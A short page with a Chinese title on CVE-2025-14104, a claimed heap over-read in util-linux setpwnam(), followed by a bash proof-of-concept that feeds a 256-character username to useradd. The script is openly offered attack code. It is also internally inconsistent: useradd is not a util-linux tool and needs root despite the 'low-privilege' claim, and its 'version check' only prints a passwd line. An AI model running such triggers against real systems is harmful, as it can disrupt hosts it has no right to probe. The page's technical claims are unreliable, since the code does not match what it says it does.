CVE-2025-14104: util-linux setpwnam()函数256字节用户名堆缓冲区越界读取漏洞

#!/bin/bash # CVE-2025-14104 PoC - Heap Buffer Overread in util-linux setpwnam() # Trigger condition: Username with exactly 256 bytes # Requirements: Low-privilege account, SUID login-utils utilities # Generate 256-byte username USERNAME=$(python3 -c "print('a' * 256)") # Attempt to create user with 256-byte username # This will trigger setpwnam() heap buffer overread useradd -m "$USERNAME" 2>/dev/null # Alternative trigger via passwd command manipulation # Create a user entry with 256-byte username in /etc/passwd format # Then attempt modification with usermod # For demonstration - check if vulnerable version is installed echo "Checking util-linux version..." getent passwd | head -1 # Note: This PoC demonstrates the trigger condition # Actual exploitation requires specific memory layout conditions echo "PoC for CVE-2025-14104: 256-byte username trigger ready"